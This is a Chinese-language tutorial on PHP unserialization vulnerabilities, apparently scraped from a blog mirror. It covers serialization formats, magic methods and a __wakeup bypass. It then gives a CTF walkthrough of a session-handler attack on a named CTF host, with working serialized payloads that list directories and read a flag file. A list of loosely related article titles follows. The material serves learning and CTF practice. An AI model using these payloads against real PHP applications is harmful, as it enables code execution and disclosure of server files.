php反序列化[基础]

article/2025/4/17 6:18:06

基础

概述

序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 函数 : serialize()

反序列化:恢复原先被序列化的变量 函数: unserialize()

serialize()函数用于序列化对象或数组,并返回一个字符串

  • 据访问修饰符不同,序列化后的属性长度和属性值会有不同
    • protected属性被序列化的时候属性值会变成%00*%00属性名
    • private属性被序列化的时候属性值会变成%00类名%00属性名

反序列化一个对象后会保存对象的所有变量,反序列化后的结果都有一个字符:

a - array               b - boolean
d - double              i - integer
o - common object       r - reference
s - string              C - custom object
O - class               N - null
R - pointer reference   U - unicode string

序列化格式:

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

魔术方法

__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
  • __sleep()

    对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

    可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组

    如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

  • __wakeup

    反序列化时触发

    预先准备对象需要的资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

反序列化漏洞

  1. php在反序列化时,底层代码以“;”作为字段的分隔,根据长度判断内容

    反序列化的过程必须严格按照序列化规则才能成功实验反序列化

  2. 序列化的长度不对应时会发生报错

  3. 可以反序列化类中不存在的元素

函数绕过

logo:

  1. Unserialize()函数的参数可控
  2. php中有可以利用的类并且类中有魔幻函数

例题

eg.

<meta http-equiv="Content-Type" content = "text/html; charset=utf-8" /><?php
class SoFun{protected $file = "index.php";public function __construct($file){$this->file = $file;}function __destruct(){if(!empty($this->file)){// 查找file文件中的字符串,若有“\\”和‘/’字符,就显示错误if(strchr($this->file,"\\") === false && strchr($this->file,"/") === false){show_source(dirname(__FILE__).'/'.$this->file);}else{die("Wrong filename");}}}function __wakeup(){$this->file = 'index.php';}public function __toString(){return " ";}
}if(!isset($_GET['file']))
{show_source('index.php');
}
else{$file = base64_decode($_GET['file']);echo unserialize($file);
}
// $test = new SoFun("flag.php");
// $s = serialize($test);
// $s[12]=2;
// echo $s;
// echo base64_encode($s);
// echo unserialize((serialize(($test))));
// 'O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}'
?>

wakeup

在__wakeup()魔术方法中,在反序列化后会自动调用__wakeup方法并将file的值置为index.php

绕过方法:序列化后的字符串,属性个数比规定个数大

  • wp:
    1. 放到本地
    2. 创建对象,并序列化,赋值给字符串
    3. str_replace函数更改属性个数:str_replace(‘1{’,‘2{’,$s)
    4. base64编码,上传

session反序列化漏洞

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化

  • php.ini配置:

    session.save_path 设置session的存储路径

    session.save_handler 设定用户自定义存储函数

    session.auto_start 指定会话模块是否在请求开始时启动一个会话

    session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同

  • 存储机制

    php中的session内容是以文件方式来存储的,由session.save_handler来决定。文件名由sess_sessionid命名,文件内容则为session序列化后的值。

  • session上传进度

    当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
    当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。

例题:
http://web.jarvisoj.com:32784/index.php
提到phpinfo,先查看phpinfo
phpinfo
php版本:5.6.21
php>5.5.4的版本默认使用php_serialize规则
默认为php_serialize而index.php中又使用了php,反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。

  1. 通过post构造数据传入$_SESSION
    构造post提交表单:

    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><input type="file" name="file" /><input type="submit" />
    </form>
    
  2. 构造序列化字符串

    <?php
    class OowoO
    {public $mdzz='print_r(dirname(__FILE__));';
    }
    $obj = new OowoO();
    $a = serialize($obj);var_dump($a);
    

NT:需要转义,抓包把filename改为payload
最终提交为:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
目录/opt/lampp/htdocs
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}继续读
然后用file_get_contents函数读flag
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}


http://chatgpt.dhexx.cn/article/QrBdAGqs.shtml

相关文章

PHP中序列化与反序列化

PHP序列化&#xff1a;serialize 序列化是将变量或对象转换成字符串的过程。 举例&#xff1a; <?php class man{public $name;public $age;public $height;function __construct($name,$age,$height){ //_construct&#xff1a;创建对象时初始化$this->name …

(37)【PHP反序列化】PHP反序列化原理、函数、利用过程

目录 一、简介&#xff1a; 二、原理&#xff1a; 2.1、函数&#xff1a; 2.1.1、serialize()序列化 2.1.2、unserialize()反序列化 三、常见的序列化格式&#xff1a; 四、产生的原因&#xff1a; 4.1、无类&#xff1a; 4.2、有类&#xff1a; 五、魔术方法&#x…

php反序列化总结

php反序列化总结 基础知识 序列化 序列化就是将 对象object、字符串string、数组array、变量 转换成具有一定格式的字符串&#xff0c;方便保持稳定的格式在文件中传输&#xff0c;以便还原为原来的内容。 serialize ( mixed $value ) : stringserialize() 返回字符串&…

PHP反序列化入门手把手详解

PHP反序列化入门手把手详解 前言:文章内容大致可分为原理详解-漏洞练习- 防御方法。文章内容偏向于刚接触PHP反序列化的师傅,是一篇对PHP反序列化入门的手把手教学文章。文章特色在于对PHP反序列化原理的详细分析以及一系列由简入深的PHP反序列化习题练习和分析讲解。文章写作初…

[CTF]PHP反序列化总结

文章目录 PHP反序列化这一篇就够了简介常见的序列化格式案例引入反序列化中常见的魔术方法反序列化绕过小Trickphp7.1反序列化对类属性不敏感绕过__wakeup(CVE-2016-7124)绕过部分正则利用引用16进制绕过字符的过滤PHP反序列化字符逃逸情况1&#xff1a;过滤后字符变多情况2&am…

测试用例介绍

测试用例 用例介绍 定义 为某个业务目标而编制的一组由测试输入&#xff0c;执行条件以及预期结果组成的案例。 为什么要学习测试用例&#xff1f; 再开始测试之前设计好测试用例&#xff0c;可以避免盲目测试并提高测试效率。测试用例的使用令软件测试的实施突出重点、目…

软件测试的测试用例应该怎么编写和模板

这个是软件测试的模板下面是软件测试的一些测试点和测试方法 硬件测试方法: 1.界面测试 2.性能测试(压力测试、稳定性测试) 3.恢复性测试 4.兼容性测试 5.安全性测试 6.破坏性测试 7.可用性测试 8.易用性测试 9.功能操作测试 软件测试: loading:加载中。 可视化页面可操作元素…

测试用例模板

测试用例模板 文章目录 前言1.文件原地址2.测试用例模板1.测试用例模板012.测试用例模板023.测试用例模板034.测试用例模板045.测试用例模板05 2上线回归测试1.回归测试检查表01 3.其他见过的模型参考关键词链接 前言 这个是模仿别人的模板来进行补充的。有些是不需要的&…

测试用例模板及测试报告分析

文章目录 前言一、等价类划分二、边界值三、错误推测法四、因果图法判定表驱动法设计步骤设计策略 前言 文章主要介绍常见测试用例的设计方法 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、等价类划分 等价类划分主要适用于单个输入条件&#x…

测试 - 用例篇

文章目录 测试用例的基本要素基于需求设计的测试用例接下来就是针对一个功能的不同输入,对应着不同的输出功能之间的交互性异常信息的处理 等价类边界值错误猜测法 美团面试题:水杯测试用例场景法因果图法 复习 因为这篇博客是关于如何写测试用例,尽可能多的涵盖测试用例,所以我…

软件测试当中的测试用例模板,仅供参考

测试用例这块知识、经验&#xff0c;小酋在前面陆续都讲完了。这章提供几种用例模板&#xff0c;作为这块知识的收尾。 - 1 - 测试用例&#xff08;主指功能测试用例模板&#xff09;的内容通常包括测试目标&#xff08;目的&#xff09;&#xff0c;需求标示&#xff08;一般…

测试用例分析及编写

文章目录 1.测试用例1.1 用例与测试用例1.2 测试用例的作用1.3 测试用例的编写格式 2. 测试点的设计方法2.1 等价类划分法2.1.1 定义2.1.2 分类2.1.3 划分规则2.1.4 步骤2.1.5 适用场景2.1.6 案例2.1.6.1 验证QQ帐号的合法性2.1.6.2 验证某城市号码的正确性 2.2 边界值划分法2.…

测试用例,怎么写 ?

本文的测试用例主要针对功能测试。 软件测试中最重要的因素是设计和生成有效的测试用例。 穷举的测试是不可能的&#xff0c;合理的测试策略是通过使用特定的面向黑盒测试的测试用例设计方法&#xff0c;而后使用白盒测试方法对程序的逻辑结构进行检查以补充这些测试用例&…

测试:用例篇

上一章讲述的是测试的基本概念。在我们开始做了一段时间基础测试&#xff0c;熟悉了业务之后&#xff0c;往往会 分配来写测试用例&#xff0c;并且在日常测试中&#xff0c;有时也需要补充测试用例到现有的案例库中 在开始之前先讲讲测试中经典的测试方法&#xff1a;黑盒测试…

软件测试用例.范文,软件测试用例模板范文

软件测试用例模板范文 (8页) 本资源提供全文预览&#xff0c;点击全文预览即可全文预览,如果喜欢文档就下载吧&#xff0c;查找使用更方便哦&#xff01; 14.9 积分 XX 系统系统 测试用例测试用例 XX 系统-测试用例 1 由安博测试空间技术中心由安博测试空间技术中心 http://ww…

路由器与交换机知识总

路由器与交换机知识总结 路由器&#xff08;Router&#xff09;是一种计算机网络设备&#xff0c;提供了路由与转发机制&#xff0c;可以决定数据包从源到目的所经过的路径&#xff0c;这个过程就叫做路由&#xff1b;将路由器输入端的数据包交移到目的路由器&#xff0c;这个…

【计算机网络】路由器与交换机

-计算机网络 路由器就是 路由器&#xff1a;寻址&#xff0c;转发&#xff08;依靠 IP 地址&#xff09;&#xff0c;局域网内网的数据转发交换机&#xff1a;过滤&#xff0c;转发&#xff08;依靠 MAC 地址&#xff09;&#xff0c;连接局域网和外网 相信有很多人在学习网络…

OSI七层模型的各个功能?路由器与交换机的区别?冲突域,广播域

一、OSI总结 二、路由器与交换机的区别 2.1 外观 路由器和交换机的外观长得一样一样的,他们有个超级明显的区别,交换机的各个接口上标注的序列数字是有规律的&#xff0c;接口颜色也是一致的。 在路由器的接口上我们可以看到标注的数字是有规律的&#xff0c;标注为wan或者i…

第6节 构建简单局域网并实现远程管理路由器与交换机——基于PacketTracer仿真

1实验目标 在PacketTracer平台上构建以下两个局域网&#xff0c;并使用路由器相连。路由器&#xff0c;连接不同的局域网&#xff0c;其上的各个端口需要属于不同网段。交换机&#xff0c;连接同一网段内的设备。为各个设备配置IP、子网掩码、网关等。实现各个设备间能互相pin…

认识路由器与交换机,在常见的企业组网中起什么样的作用呢?

作者&#xff1a;一天&#xff0c;公众号&#xff1a;网络之路博客&#xff08;ID&#xff1a;NetworkBlog&#xff09;。让你的网络之路不在孤单&#xff0c;一起学习&#xff0c;一起成长。 前言 从这篇开始正式进入路由交换网络的讲解&#xff0c;这一篇&#xff0c;不讲解…